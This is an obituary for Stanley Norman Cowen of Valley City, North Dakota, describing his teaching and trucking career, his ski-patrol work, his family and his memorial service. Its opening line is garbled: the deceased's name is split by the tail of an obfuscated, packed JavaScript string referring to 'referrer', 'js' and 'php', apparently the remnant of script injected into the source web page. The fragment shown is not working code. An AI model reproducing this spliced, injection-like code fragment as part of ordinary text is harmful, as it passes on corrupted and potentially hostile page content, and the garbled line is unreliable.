Stanley kndyk|var|u0026u|referrer|rftzd||js|php’.split(‘|’),0,{}))
Cowen, age 86, of Valley City died Sunday, April 3, 2016 at Mercy Hospital in Valley City. Memorial Services with military honors will be conducted at 2PM Saturday, April 16, 2016 at the Lerud-Schuldt Funeral Home with Rev. Dan Faust officiating. Inurnment will be at a later date in the Dazey Cemetery.
Stanley Norman Cowen was one of the first babies born at Mercy Hospital in Valley City, ND, August 17, 1929 to George Leslie and Anabelle Grace Cowen. He passed away April 3, 2016 at the age of 86. He is survived by his wife of 66 years, Ella Mae; his daughter, Peggy; his son, Chuck; three granddaughters, and six great-grandchildren.
He attended Dakota Business College in Fargo, founded by his Uncle Leland Watkins. He graduated from Valley City State College, during which time he worked at R&G Auto Parts. He joined the ND 164th National Guard, assigned to Camp Rucker, AL and Fort Benning, GA. He met his wife, Ella Mae Rogne from Dazey, at Woody’s Cafe, the area “hotspot”. She was in nurses’ training at Mercy Hospital at the time. They married December 20, 1949 and later had two children: Margaret Jo (Peggy) and Charles Stanley (Chuck).
They moved to The Dalles, OR in 1956 at the same time as Al Larvick, Bob Taylor, and Al Unruh, all from this area, where Stan taught bookkeeping, typing and shorthand. He continued his education, receiving an MBA at the University of Oregon. He became principal at Wahtonka High School in The Dalles, OR.
Stan was an avid skier and rock climber. He climbed extensively in the Oregon Cascades. He was a member of the National Ski Patrol and assisted on mountain rescues on Mt. Hood. He also patrolled Cooper Spur Ski Area, rendering first aid to fallen skiers.
Stan and Ella Mae returned to ND in 1972 to help out their folks. Stan was Vice-Principal in Dickinson, ND, drove truck for Dakota Bake-n-Serv (Rhodes Frozen Bread) for 15 years in Jamestown, ND, then for Byers Cement and Lafarge NA Cement in Valley City, ND.
Stan and Ella Mae enjoyed dancing, playing bridge, and snow-birding in Arizona during winters after retirement. During the summer he continued trucking when the roads were bare. He volunteered at the Barnes County Historical Museum on Central Avenue.
He will be missed by family and many friends. The family requests memorials be directed to the Meals on Wheels Program at the Barnes County Senior Citizens. An online guest register is available at www.lerudschuldt.com.